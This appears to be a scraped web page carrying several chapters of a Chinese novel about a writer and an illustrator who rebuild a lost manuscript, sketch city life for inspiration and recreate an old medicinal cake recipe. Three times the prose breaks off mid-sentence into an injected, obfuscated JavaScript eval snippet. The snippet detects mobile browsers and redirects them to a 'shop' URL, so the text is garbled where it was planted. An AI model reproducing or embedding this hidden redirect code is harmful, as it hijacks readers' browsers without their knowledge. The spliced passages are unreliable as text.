“我们来口述吧。”鸿雁建议,“你回忆场景,说出来,我记录。这样更自然,也能捕捉到口语的流畅感。” 霜莉犹豫了一下,然后同意了。她闭上眼睛,试图回到那个场景:清晨的山林,露水未干,洛尘跟着云苓辨认草药。 “云苓蹲下,手指轻触一株开着紫色小花的植物。”她开始叙述,“她说:‘这是远志,安神益智。你看它的根,黄色,有很多分叉,像是纠结的思绪被慢慢梳理开。’” 鸿雁飞快地在笔记本上记录,偶尔插话:“可以加一句洛尘的观察吗?比如‘洛尘注意到,她说草药时,眼神特别温柔,像是介绍老朋友。’” “好!”霜莉睁开眼睛,“这样能展现两人的互动,而不仅仅是云苓的单方面讲解。” 她们就这样工作着:霜莉叙述,鸿雁记录并建议;然后交换,鸿雁朗读记录的内容,霜莉修改和补充。宠物的恶作剧反而创造了一种新的合作模式——不再是各自工作后交换意见,而是真正地共同创作。 凌晨四点,重建工作完成了一半。霜莉惊讶地发现,新版本比原版更好。被迫重写让她不得不重新思考每个句子,每个段落,删去冗赘,强化亮点。 “休息一下。”鸿雁伸展了一下僵硬的肩膀,“我有点饿,做点夜宵?” “这个时间?” “创作者的时间是弹性的。”鸿雁已经走向厨房,“而且饥饿会干扰思考。” 十分钟后,两人面前摆上了简单的夜宵:烤吐司抹花生酱,切好的苹果,还有一小碟坚果。简单,但能提供持续的能量。 “你知道吗,”霜莉边吃边说,“虽然丢失手稿很糟糕,但这个过程让我发现了我写作中的一些问题。我太依赖初稿了,修改时总下不了狠手。现在被迫重写,反而能大刀阔斧地改进。” 鸿雁点点头:“我画画也这样。有时候太珍惜最初的线条,即使知道有问题也不愿重画。但最好的作品往往来自敢于推翻重来的勇气。” 她们聊着创作中的各种困境和突破,时间悄悄流逝。窗外的天空从深黑转为深蓝,预示着黎明即将到来。 凌晨五点,重建工作基本完成。霜莉通读新版本,感到一种奇妙的满足感——这不是简单的恢复,而是进化。场景更生动,对话更自然,人物的互动更有层次。 “我想加入一个细节。”鸿雁突然说,“云苓采药时,会不会随身带一个小布袋,把采到的草药分类放好?这样不仅能展示她的专业性,还能成为一个视觉元素——比如,她给洛尘看布袋里的草药,不同颜色和形状的叶子混在一起,像一幅自然的画。” 霜莉眼睛一亮:“这个好!而且可以成为后续情节的伏笔——比如某种珍稀草药被她小心地单独存放,后来救了某个重要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122844|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角色。” 她们把这个想法加进去,然后继续完善。黎明前的寒冷让她们靠得更近,分享着同一条毯子。咪咪和糯米也和解了,一起蜷缩在毯子另一端睡觉。 六点,天空泛起鱼肚白。霜莉保存了最终版本,长长地舒了一口气。 “完成了。”她说,“而且比原来好得多。” 鸿雁看着窗外渐亮的天色:“我们熬了个通宵啊。” “但很值得。”霜莉说,“不仅救回了章节,还学到了重要的东西。” 她看向两只熟睡的宠物。如果没有它们的“恶作剧”,她可能永远不会有机会这样彻底地重写这一章,也永远不会发现与鸿雁这样深度合作的可能性。 “你知道吗,”霜莉轻声说,“我在想,也许我们应该定期这样合作。不仅仅是插图配文字,而是真正一起构思和创作。” 鸿雁想了想:“像共同作者?” “不完全是。”霜莉寻找着合适的表达,“更像是……创作伙伴。你影响我的写作,我影响你的绘画,但我们各自保持自己的声音和风格。” 鸿雁笑了:“听起来不错。不过下次我们可以选在白天,不要通宵。” “同意。”霜莉也笑了。 她们收拾了工作室,把散落的纸片收集起来——不再是为了拼凑,而是准备回收。新的版本已经存在电脑里,更好,更完整。 当第一缕阳光照进工作室时,两人决定去楼下早餐店吃点热乎的东西。她们带着两只宠物,走在清晨安静的街道上。早起的人们已经开始活动,早餐店的蒸汽在冷空气中格外明显。 “豆浆油条?”鸿雁问。 “再加一碗热粥。”霜莉说,“通宵后需要温暖的食物。” 坐在早餐店里,捧着热腾腾的豆浆,霜莉感到一种深深的满足。这不只是完成工作的满足,更是发现新可能的兴奋。创作可以孤独,也可以共享;可以痛苦挣扎,也可以愉快合作;可以小心翼翼保护初稿,也可以勇敢推翻重来。 “下次该你帮我了。”鸿雁咬了一口油条,“我有一幅画一直不满意,但舍不得重画。你需要像今晚对我那样,逼我推翻重来。” “成交。”霜莉说,“但也要准备好夜宵。” 她们相视而笑。窗外的城市完全醒来,车流声、人声、生活的各种声音重新填满街道。但在早餐店这个小角落里,两个创作者分享着简单的食物和共同的秘密——一个关于损失与收获,毁灭与重建,孤独与合作的故事。 回到家后,霜莉没有立刻睡觉。她打开文档,看着重建后的第四章。然后,她新建了一个文件夹,命名为“与鱿鱼的合作”。里面只有一个文档,标题是“咪咪的恶作剧与糯米的逃亡——一次意外的创作突破”。 她写下了昨晚的经历,不是为了发表,只是为了记住:创作中有时最糟糕的意外,可能带来最好的转变;而最好的合作伙伴,可能是那个在凌晨三点陪你重建手稿,同时还不忘做夜宵的人。 写完这些,她才终于感到疲倦。糯米已经在它的小窝里睡得香甜,偶尔抽动一下小爪子,也许在梦中继续它的“逃亡”。 霜莉躺下来,闭上眼睛。在入睡前,她最后一个清醒的想法是:也许宠物的恶作剧不是灾难,而是礼物;也许丢失手稿不是终点,而是新的开始;也许最好的创作,就藏在最意外的转折里。 而这一切,都会成为她江湖故事的一部分——不是直接地,而是间接地,通过更自由的心态,更开放的思维,更勇于尝试的勇气。 窗外,天已大亮。城市继续运转。而在某个安静的公寓里,一个小说作者终于入睡,嘴角带着微笑,心中满是对下一个创作日的期待。 8. 古风小说的困局 霜莉盯着电脑屏幕上的文字,已经两个小时没有打出一个新字了。 《云间录》写到第七章,她遇到了前所未有的困境:故事失去了方向。洛尘的伤已经痊愈,与云苓的相处从医患变成了朋友,甚至隐约有了更深的感情。但接下来呢?是继续写他们平淡的山林生活,还是引入外部冲突?如果引入冲突,会不会显得刻意?如果不引入,故事会不会失去张力? 她尝试写了几种可能:江湖仇家寻来,洛尘被迫离开;云苓的过去被揭开,带来新的秘密;一场突如其来的疫病考验两人的医术和信念……但每种都让她不满意,读起来像是为了推动情节而强加的转折。 糯米似乎感受到了她的焦虑,从书架滑翔到她的肩头,用柔软的小身体蹭她的脸颊。但这安慰效果有限。 霜莉叹了口气,关掉文档。她需要换换脑子,也许读点别人的作品能找到灵感。 书架上有她最喜欢的几位古风作家的作品,她随手抽出一本。但读了几页后,她发现自己不是在欣赏,而是在分析:“这段对话写得真好,我怎么就写不出这种自然感?”“这个情节转折太巧妙了,我的为什么这么生硬?” 比较让她更加沮丧。 她放下书,走到窗前。外面是普通的城市景观,高楼、街道、车辆、行人。与她笔下的江湖世界隔着千山万水。有时候她会怀疑,自己是否真的有资格书写那个世界——一个她只能通过书本和想象接触的世界。 手机响了,是鸿雁。 “还活着吗?”鸿雁的声音轻快,“你已经三天没更新社交媒体,也没回复我消息了。按照创作者失踪等级,这属于‘严重卡文’级别。” 霜莉苦笑:“你怎么知道?” “经验之谈。”鸿雁说,“我画画卡住时也会与世隔绝。怎么样,需要救援吗?” “我不知道该怎么继续了。”霜莉坦白道,“故事走到十字路口,每条路都看起来不对劲。” “那就别继续。”鸿雁说。 “什么?” “我是说,暂时放下。与其坐在那里硬想,不如出去走走。今天天气不错,我带你去个地方。” 半小时后,霜莉带着糯米,与鸿雁和咪咪在市中心的广场会合。鸿雁背着一个大帆布包,看起来准备充分。 “我们要去哪?”霜莉问。 “采风。”鸿雁神秘地说,“为你的江湖寻找真实的土壤。” 她们没有去什么特别的地方,就是普通的城市街道。但鸿雁带她走的是那些老街区,有年代感的建筑,有小店,有市场,有日常生活。 “看那个。”鸿雁指着一家老式钟表店。店面不大,橱窗里摆着各种老钟表,店主是位白发老人,正戴着放大镜修理一块怀表。 “他在这条街修了四十年表。”鸿雁说,“我画过他几次。他不仅修表,还收集钟表背后的故事——每块表都曾属于某人,都曾标记某段人生。” 霜莉看着老人专注的神情,突然想到了云苓。她诊治病人时,是否也有这种专注?不仅是治疗伤病,更是理解每个伤病背后的故事? 她们继续走,来到一个露天市场。不是那种整洁的超市,而是有点杂乱的传统市场,摊主们大声吆喝,顾客讨价还价,空气中有各种气味:新鲜蔬菜的泥土味,海鲜的咸腥味,熟食的香气。 “这里。”鸿雁拉着霜莉在一个豆腐摊前停下。摊主是位中年妇女,动作麻利地切豆腐、装袋、收钱,同时还能与老顾客聊天。 “她做的豆腐是全市场最好的。”鸿雁小声说,“用的还是传统方法,每天凌晨三点起来磨豆子。有次我问她为什么这么辛苦,她说‘习惯了,而且吃的人能尝出区别’。” 霜莉观察着摊主。她的手因常年泡水而有些肿胀,但动作精准;她的笑容真诚,与每个顾客都有简短的交流;她的摊子干净整洁,豆腐摆放得整整齐齐。 这让她想起了自己笔下的市集场景。她总是描写得很笼统:“市集热闹非凡,各种摊位琳琅满目”,但缺少这样具体的人物和细节。一个豆腐摊主的故事,可能比整个市集的宏观描写更能让读者感受到那个世界的真实。 她们在市场里逛了一个多小时,鸿雁不时指出一些细节:那个总是一起买菜的老夫妇,他们的默契不需要言语;那个在鱼摊前认真挑选的年轻厨师,他对新鲜度的要求写在脸上;那个在角落里修补竹编的老人,他的手艺正在慢慢消失。 “你带我来这里,是为了告诉我……”霜莉慢慢理解。 “为了告诉你,故事不需要宏伟的转折。”鸿雁接过话,“最打动人的往往是日常中的坚持,平凡中的不凡,普通人在自己位置上做到极致的模样。” 她们在市场边的小吃店坐下,点了两碗豆花,一甜一咸。鸿雁坚持要霜莉都尝尝。 “你的云苓,她不只是医仙传人,她首先是个生活在某个具体地方的人。”鸿雁一边加辣油一边说,“她每天也要买菜做饭,也要与人交流,也有自己的习惯和局限。把这些写出来,人物就活了。” 霜莉思考着这些话。确实,她太专注于云苓的“医仙”身份,忽略了她的日常生活。洛尘也是,她写他的江湖经历,他的武功伤势,但很少写他作为一个普通人会做什么,会想什么。 “但是古风小说……”她犹豫道,“读者期待的是江湖恩怨,快意恩仇,不是日常琐事。” “谁说的?”鸿雁挑眉,“金庸写黄蓉做菜,写洪七公爱吃,写令狐冲喝酒,这些不都是日常吗?正是这些日常让江湖人物有了血肉,让那个世界可信。” 豆花吃完,她们继续走。这次鸿雁带她去了一个公园,不是那种精心设计的现代公园,而是有些年头的,有老树、亭子、池塘和弯曲小径的公园。 几个老人在亭子里下棋,旁边围着几个观棋的人,安静中偶尔有落子声和低语。池塘边,一个年轻人在写生,画的是对面的假山和松树。 “看那个人。”鸿雁示意霜莉注意写生的年轻人,“他每周都来,画同一个池塘,但每次角度和光线都不同。我问他为什么,他说‘我想真正理解这个地方,而不只是画一张好看的画’。” 霜莉心中一动。这不正是她应该做的吗?不是简单地构建一个华丽的古风世界,而是真正理解那个世界的逻辑、细节、生活气息。 她们在公园长椅上坐下。咪咪和糯米在草地上玩耍——经过几次相处,两只宠物已经建立了奇怪的友谊:咪咪会小心地不用爪子,糯米则会在猫咪身上滑翔。 “你知道我为什么喜欢画画吗?”鸿雁突然问。 霜莉摇摇头。 “因为它让我真正看见。”鸿雁说,“当我画一个人,我必须观察他的五官比例、表情肌理、眼神光泽;当我画一个地方,我必须注意光线方向、阴影形状、空间关系。画画逼我慢下来,真正地看。” 她转向霜莉:“写作也是一样吧?不是写出一个故事,而是真正理解那个故事里的人和事。” 霜莉沉默了一会儿,然后说:“我想我太急于推进情节了,没有花足够时间让读者真正认识我的人物,真正进入那个世界。” “那就慢下来。”鸿雁说,“写一章云苓采药的全过程,从准备工具到进山寻找,到辨别采摘,到处理保存。写一章洛尘帮忙做农活,从笨手笨脚到逐渐熟练。写一章他们普通的晚餐,聊的不是江湖大事,而是今天遇到的趣事,或者对某道菜的看法。” 这个建议让霜莉感到一阵轻松。她一直被“接下来发生什么”的焦虑驱动,却忘了故事的生命力不仅在于“发生什么”,更在于“如何发生”和“为什么发生”。 “我想写一章关于节气的。”霜莉突然有了灵感,“立秋那天,云苓按照传统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122845|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准备特定的药膳,洛尘帮忙,过程中他们谈论时间的流逝,季节的更替,人生的阶段……” “这个好!”鸿雁眼睛发亮,“我可以画一系列节气插图,配合你的文字。每幅画展现那个节气的典型场景和食物。” 她们越聊越兴奋,霜莉掏出手机记录想法。公园里的光线逐渐变得柔和,夕阳给树木和亭子镀上金边。 “谢谢你。”霜莉真诚地说,“我今天真的需要这个。” 鸿雁笑了:“创作者需要互相打捞。下次我沉下去时,就该你救我了。” 回家的路上,霜莉的步伐轻快了许多。她不再焦虑故事的“大转折”,而是开始期待那些“小细节”。她想写云苓如何储存药材,想写洛尘如何学习生火做饭,想写他们如何度过一个下雨天,想写他们如何看待夜空中的星星。 这些看似微不足道的事情,实际上才是构建一个世界,塑造人物的基石。江湖不只是刀光剑影,更是日常生活中的选择与坚持;侠客不只是武功高强,更是在平凡时刻展现的品质。 那天晚上,霜莉没有立即写作。她重新阅读了自己已经完成的章节,用新的眼光审视。她发现,那些她自己最喜欢的片段,恰恰是日常场景:洛尘第一次尝到云苓做的汤时的表情,云苓教他辨认草药时的耐心,两人一起看日出的沉默。 她把这些片段标记出来,作为后续章节的参考模板。 然后,她新建了一个文档,标题是“云间日常”。里面没有情节大纲,只有一些场景想法:雨天整理药材的日子;尝试新食谱的成功与失败;关于各自过去的片段回忆;对未来的模糊期待。 这些场景不一定都能进入最终的故事,但思考它们能让她更深入地理解人物。 糯米跳到书桌上,好奇地看着屏幕。霜莉把它捧在手心,轻声说:“妈妈知道该怎么写了。” 小家伙吱吱叫了两声,仿佛表示赞同。 霜莉打开《云间录》第七章的文档,删掉了之前所有关于“大冲突”的构思。取而代之的,是一个简单场景:立秋前夜,云苓准备制作茯苓饼,洛尘在一旁帮忙。他们的对话关于季节变换,关于时间流逝,关于在变化中寻找不变的东西。 她写得很慢,很仔细,关注每个感官细节:面粉的触感,茯苓粉的香气,灶火的温度,夜晚的凉意。关注每个动作细节:云苓揉面的手法,洛尘学样的笨拙,两人配合的默契。关注每句对话的潜台词:表面在说食物,实际在说人生。 写到一个段落结束时,霜莉停下来重读。这段文字没有推进任何主要情节,但它让两个人物更加真实,让他们的关系更加可信。更重要的是,它让她自己重新爱上了这个故事,这个世界。 她保存文档,给鸿雁发了条消息:“采风成功。新章节写得顺手多了。谢谢你今天的救援。” 鸿雁很快回复:“随时待命。PS:立秋那天我们一起做茯苓饼如何?实践出真知。” 霜莉微笑着回复:“好主意。” 窗外,城市灯火闪烁。在这个现代都市的某个房间里,一个作者正在书写一个遥远的古风世界。但那个世界不再悬浮于想象之中,而是扎根于对真实生活的观察,对人性共通之处的理解,对日常之美的信念。 古风小说的困局,也许不在于找不到惊人的情节,而在于忘记了最简单的事实:无论哪个时代,人都是人,生活都是生活。而真正打动人心的,永远是那些跨越时空的共通体验——一顿用心的饭菜,一段真诚的对话,一个专注的时刻,一份渐深的感情。 霜莉关掉电脑,抱起糯米。她感到一种久违的平静和确定。故事还会遇到其他困难,但至少现在,她找到了方向——不是向上寻找宏大的天空,而是向下扎根于真实的大地。 而最好的向导,可能就是一个懂得“真正看见”的朋友,和一次普通的城市采风。 9. 第一道合作菜肴 立秋前一天,霜莉带着一本古籍复印件和几包食材来到鸿雁家。复印件来自图书馆的珍本室,是一本明代食疗著作的影印版,上面记载着“茯苓饼”的古法制作。食材包括茯苓粉、糯米粉、蜂蜜,还有一些辅助的药材。 “你从哪里搞来这个?”鸿雁接过复印件,小心地翻看着泛黄的页面。上面的字是竖排繁体,配有简单的木刻插图。 “大学图书馆的特藏部。”霜莉解释,“我有个朋友在那里工作,听说我在写古风药膳,就帮我找了一些资料。这本书记载了很多现在已经不常见的配方。” 鸿雁仔细阅读茯苓饼的做法:“‘茯苓二两,糯米粉五两,白蜜三两,山药一两……’这用量单位还是古代的。等等,它说‘茯苓须九蒸九晒’,这么复杂?” “古法确实讲究。”霜莉说,“我查过资料,九蒸九晒是一种传统炮制方法,能改变药材的性质,让它更温和易吸收。不过我们可能没条件完全按古法来,我买了已经处理好的茯苓粉。” 鸿雁点点头,继续往下看:“‘和匀作饼,蒸三炷香时间。’三炷香是多久?” “大约四十五分钟到一小时。”霜莉已经做过功课,“根据香的长度和燃烧速度不同,但大概就是这个范围。” 两人研究完配方,决定尝试制作。但她们很快发现第一个问题:古代配方没有详细的步骤说明,很多地方语焉不详。 “‘和匀’是什么意思?要和多匀?面团要多湿?”鸿雁皱眉。 “我们可能需要试验几次。”霜莉已经预料到这种情况,“先按大致比例试试,记录每次的结果,慢慢调整。” 她们穿上围裙,清理厨房台面,摆好各种工具和食材。咪咪和糯米好奇地在厨房门口张望,但被禁止进入工作区——第一次尝试古法烹饪,她们需要集中注意力。 第一次尝试,问题很快出现。茯苓粉和糯米粉的比例似乎不对,面团太干,无法成型。加入更多水后,又变得太黏,粘得满手都是。 “古代人做这个一定有技巧。”鸿雁一边洗手一边说,“可能用的是某种特定的糯米粉,或者处理茯苓的方法不同。” 霜莉翻看资料:“这里提到要‘过箩三遍’,可能是为了让粉更细。还有这里说‘用井水和面’,水质可能有影响。” “井水?”鸿雁想了想,“可能就是软水。我们可以试试过滤水。” 第二次尝试,她们调整了粉的比例,用了过滤水,还将所有粉类过筛。这次面团好一些,但蒸出来后的饼质地粗糙,口感不佳。 “像在吃沙子。”鸿雁诚实评价。 霜莉尝了一口,确实,茯苓的颗粒感太强,没有那种应有的细腻。“古书上说‘茯苓须研极细’,可能我们的粉还不够细。” “或者需要某种特殊的研磨方法。”鸿雁思考着,“我记得陈爷爷说过,有些传统食材要用石磨慢磨,才能保留风味又不失细腻。” 第三次尝试前,她们决定先做更多研究。霜莉上网查找古代食物制作的相关资料,鸿雁则翻看她收集的老食谱和烹饪笔记。两人坐在厨房地板上,资料摊开一片,像在进行某种学术研究。 “看这里。”霜莉指着一篇论文,“古代没有现代这么精细的研磨设备,但他们通过多次过筛和长时间研磨,也能达到很细的效果。文中提到,有些药膳要求‘细如飞尘’。” “那可能需要我们手动再过筛几次。”鸿雁说,“或者用料理机再打细一点。” “但古籍也强调‘不可用铁器’,说铁会影响药性。”霜莉指出另一段,“要用石臼或陶钵。” 鸿雁站起来:“我记得我奶奶留有一个石臼,在储藏室里,我去找找。” 半小时后,一个古朴的石臼被清洗干净放在厨房台面上。两人将茯苓粉倒入臼中,轮流用石杵研磨。这是个费时费力的过程,但她们发现,手工研磨确实能让粉末更加均匀细腻。 “我能理解为什么古代药膳这么珍贵了。”霜莉揉着发酸的手腕说,“每一道都倾注了大量时间和心力。” “但也因此更有价值。”鸿雁接过石杵继续研磨,“当你为某件事付出努力,它对你来说就变得特别。” 粉磨好后,第三次尝试开始。这次她们更加小心,严格按照古籍记载的顺序:先将茯苓粉与少量水调成糊,再加入糯米粉,最后慢慢加入融化的蜂蜜和山药泥。面团在手中终于有了合适的质感——柔软但不粘手,可以轻松塑形。 “有希望。”鸿雁小心地将面团分成小份,压成薄饼。 蒸锅已经烧开,她们将饼放在铺了湿布的蒸架上,盖上锅盖。接下来是漫长的等待。 “三炷香时间。”霜莉设了定时器,“正好我们可以整理一下今天的记录。” 两人坐在厨房餐桌旁,打开笔记本。鸿雁画下了制作过程的草图,标注了每个步骤的注意事项。霜莉则写下了详细的文字记录:每次尝试的配方比例、遇到的问题、解决方案、观察和思考。 “我们像在做一个实验。”霜莉说。 “创作本来就是实验。”鸿雁回答,“写作是,绘画是,烹饪也是。尝试,失败,调整,再尝试,直到找到那个‘对’的感觉。” 定时器响起时,两人都有些紧张。蒸锅打开,热气扑面而来,带着茯苓特有的清香和蜂蜜的甜香。饼的颜色比前两次好,呈淡淡的乳白色,表面光滑。 鸿雁用筷子小心地夹出一块,吹凉后分成两半。两人各尝了一口。 沉默。 然后,鸿雁眼睛亮了:“这个……对了。” 霜莉细细品味。饼的口感细腻柔软,茯苓的微苦被蜂蜜的甜完美平衡,尾调有山药淡淡的清香。最重要的是,没有之前那种粗糙的颗粒感,整个质地均匀顺口。 “成功了。”她轻声说,感到一种奇异的感动。 这不仅是一道菜的成功,更是一种连接的成功——连接古代智慧与现代尝试,连接文字想象与实际操作,连接两个创作者的不同专长。 她们将剩下的饼小心取出,摆放在竹制蒸笼里。在午后的阳光下,这些简单的白色饼点竟有一种古朴的美感。 “等等,我有个想法。”鸿雁突然跑进工作室,拿来她的绘画工具和一张宣纸。她将一块茯苓饼放在小碟中,摆在窗边的自然光下,开始速写。 霜莉看着这一幕,突然有了写作的冲动。她拿出笔记本电脑,开始描述这个时刻:不是小说里的场景,而是真实的记录——两个现代人如何通过一道古方菜肴,触摸到时间的脉络,理解到古人对食物、健□□活的用心。 她写下了研磨茯苓粉时手腕的酸痛,写下了等待蒸制时的期待与不安,写下了品尝成功时的喜悦与感动。她写道:“在这一刻,我们不仅是制作者,也是传承者,通过双手和味蕾,与数百年前的某个无名作者对话。” 鸿雁画完后,将画递给霜莉。画面上,茯苓饼在光线下显得朴素而温暖,旁边是石臼和石杵的局部,背景是隐约的厨房窗景。画风是水墨与现代素描的结合,既有古意又不失当代感。 “我们可以把这个过程记录下来。”霜莉看着画说,“不仅仅是茯苓饼,还有其他古法食物。文字和图像,古代和现代,理论和实践。” “一个系列。”鸿雁接话,“‘古方新作’,或者‘时光食谱’。” 两人兴奋地讨论起来。她们可以每两周尝试一道古籍记载的菜肴或药膳,记录整个过程,写下感受和思考,配上插图和照片。这不仅是美食探索,也是文化寻根,更是创作实验。 “但要注意,”霜莉说,“我们不是简单地复原,而是理解其中的原理和智慧,然后以现代的方式重新诠释。” “就像你对《云间录》做的一样。”鸿雁说,“不是照搬古代小说,而是用现代人的情感和理解,书写一个让当代读者共鸣的古风世界。” 那天下午,她们分享了成功的茯苓饼,配着清茶,讨论着未来的计划。阳光从厨房窗户斜射进来,给一切镀上温暖的光泽。咪咪和糯米终于被允许进入厨房,分享了一小块饼——当然,是宠物适宜的无蜂蜜版本。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122846|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你知道吗,”霜莉说,“今天的过程让我对云苓有了更深的理解。当她为洛尘准备药膳时,不仅是治疗,更是通过食物传递关怀、耐心和希望。每一道菜都是一次用心的对话。” 鸿雁点点头:“我画画时也有这种感觉。每一笔不仅是技巧,更是理解和表达。食物和艺术都是这样——表面是形式,内核是情感和思想。” 她们决定,下一次尝试将是《云间录》中提到的另一道药膳:归芪鸡汤。这道菜在小说里是云苓为受伤的洛尘准备的,有补气养血的功效。 “不过我们得先搞清楚古代鸡和现代鸡的区别。”霜莉笑着说,“古籍里的鸡是散养的,吃虫子和杂粮,味道和营养可能都不同。” “还有黄芪和当归的炮制方法。”鸿雁补充,“我记得不同炮制方法药效不同。” 创作计划变成了一个不断延伸的探索项目,连接起文学、历史、美食、艺术和日常生活。霜莉感到,这不仅仅是在为小说收集素材,更是在构建一种更丰富、更深入的创作方式。 离开鸿雁家时,霜莉带着剩下的茯苓饼和满满的笔记。天色已晚,但她的心情明亮。糯米在她肩头轻轻吱叫,仿佛也在分享这份喜悦。 回到家后,霜莉没有立即开始写作。她将茯苓饼小心地放在盘子里,拍了几张照片,然后坐在书桌前,翻开《云间录》的文档。 她找到了云苓制作茯苓饼的那段,原本只是简单的叙述:“云苓准备了茯苓饼,说是立秋时节的应季食物。”现在,她有了丰富的细节可以加入:茯苓如何研磨,面粉如何过筛,蜂蜜如何选择,蒸制时如何控制火候,以及制作过程中云苓的心情和思考。 更重要的是,她理解了为什么云苓会在这个特定时刻做这道特定的食物——不仅因为节气,更因为茯苓有安神宁心的功效,而洛尘正需要从过去的阴影中平静下来,面对新的开始。 她开始重写那个场景,这一次,文字有了温度和质感,有了生活的气息和情感的深度。这不是为了展示知识,而是为了传递体验;不是为了推动情节,而是为了丰富人物。 写完时,夜已深。霜莉保存文档,感到一种深深的满足。今天的经历让她明白,创作不仅是想象和书写,更是体验和理解;不仅是产出作品,更是通过作品与世界、与历史、与他人建立连接。 她咬了一口自己带回来的茯苓饼。味道依然很好,但在家中安静的夜晚品尝,又多了一层意味。这不仅仅是一道成功的古方菜肴,更是一段友谊的见证,一次合作的成果,一个创作新方向的起点。 手机亮了,是鸿雁发来的消息:“刚画完今天的完整记录,包括三次失败和最终成功。发给你看看。PS:咪咪似乎很喜欢茯苓粉的味道,偷舔了一点,现在很精神。” 霜莉笑着回复:“糯米也是。看来这安神功效对宠物不太一样。” 她打开鸿雁发来的画作文件。一系列小幅画面记录了全天的过程:研究的专注,失败的困惑,调整的思考,成功的喜悦。最后一张是两人分享成果的场景,简单却温暖。 霜莉将这张画设为了电脑桌面。每次写作时看到它,都会提醒她:创作可以有不同的方式,可以合作,可以实验,可以从失败中学习,可以在过程中找到乐趣和价值。 窗外,秋意渐浓。但在霜莉心中,创作的热情却像春天般复苏——不是因为有了宏大的计划,而是因为找到了实在的根基;不是因为解决了所有问题,而是因为学会了在问题中前进;不是因为孤独的坚持,而是因为有了分享的伙伴。 而这一切,始于一次简单的尝试:两个人,一本古籍,几样食材,和愿意失败三次再来的勇气。 古风小说的世界依然遥远,但通过这道茯苓饼,霜莉觉得自己的手已经触摸到了它的温度,自己的心已经理解了它的节奏。接下来的路,或许还会有困难,但至少现在,她有了更坚实的步伐,更清晰的视野,和一起探索的同伴。 这或许就是创作最美好的样子:不仅是创造世界,也是在创造过程中,被世界重新创造。 10. 鱿鱼的处女作 鸿雁盯着电脑屏幕上的标题:《一碗面的寻找与抵达》。下面是她花了一周时间修改、扩展、打磨的文章,现在终于接近完成。 这是她的“处女作”——不是指第一篇文字,而是第一篇真正以发表为目的,精心构思和修改的文章。之前那些美食笔记是随性的记录,而这篇是关于阳春面的文章,经过霜莉的指导和自己的反复推敲,已经具备了完整的结构和深度。 但她按不下“发布”键。 咪咪在她腿上翻了个身,发出满足的呼噜声。鸿雁低头看着猫咪,轻声说:“咪咪,如果发出去没人看怎么办?或者有人看了但说写得很糟怎么办?” 咪咪只是继续打呼噜,对这个人类问题毫不关心。 鸿雁叹了口气,重新阅读文章。开头是她个人的回忆,引出对“完美阳春面”的寻找;中间是她探访八家面馆的经历,每家都有不同的特色和故事;结尾是她的思考:完美不是绝对标准,而是个人记忆与当□□验的交汇。 霜莉的批注还留在文档的批注栏里:“这里的情感转折很自然”、“这个细节让人物立体”、“结尾的思考提升了整篇文章的层次”。这些批注给了她信心,但同时也增加了压力——如果发出去的反响不好,不仅是自己失望,也会让霜莉的指导显得无效。 手机响了,是霜莉:“怎么样了?发了吗?” “还没。”鸿雁老实承认,“我在做最后的检查。或者说,我在拖延。” 电话那头传来霜莉的笑声:“我懂。第一次正式发表总是最难的。需要我再读一遍吗?” “不用了,你已经帮我改得很好了。”鸿雁说,“我只是……需要一点勇气。” “记得我第一次发表作品时,在点击提交前喝了三杯茶,上了五次厕所。”霜莉说,“但点击之后,反而轻松了。无论结果如何,至少完成了。” 鸿雁想了想:“如果没人看怎么办?” “那就继续写下一篇。”霜莉回答简单,“写作不是为了一篇的成功,而是为了表达的持续。而且,我保证至少有一个读者会认真读——我。” 这句话让鸿雁笑了。确实,即使全世界没人看,至少霜莉会看,会理解她想要表达的东西。 “好吧。”她深吸一口气,“我发。发完告诉你。” 挂断电话后,鸿雁最后检查了一次排版和配图。她选了三张自己画的插图:一张是陈爷爷面馆的速写,一张是阳春面的细节特写,一张是结尾处象征“抵达”的抽象画面。 光标移到“发布”按钮上。她闭上眼睛,点击。 页面刷新,显示“发布成功”。就这样简单。 鸿雁盯着屏幕几秒钟,然后突然感到一阵空虚。一周的努力,反复修改,无数纠结,就这样结束了?接下来呢? 她刷新页面,看到阅读数:1。然后变成2,3……慢慢地增长。半小时后,有了第一个点赞。一小时后,有了第一条评论:“喜欢这种真诚的文字,让我想起了奶奶做的面。” 简单的几个字,却让鸿雁眼眶发热。 她截屏发给霜莉:“有人看了,还有人评论。” 霜莉很快回复:“第一个读者不是我了,有点嫉妒。但真心为你高兴。继续写,会有更多人看到的。” 那天晚上,鸿雁不断刷新页面,看着阅读数缓慢但稳定地增长。评论不多,但都很正面,有人说被勾起了乡愁,有人说想去找文章里提到的面馆,有人说喜欢文字里的温度和插图的风格。 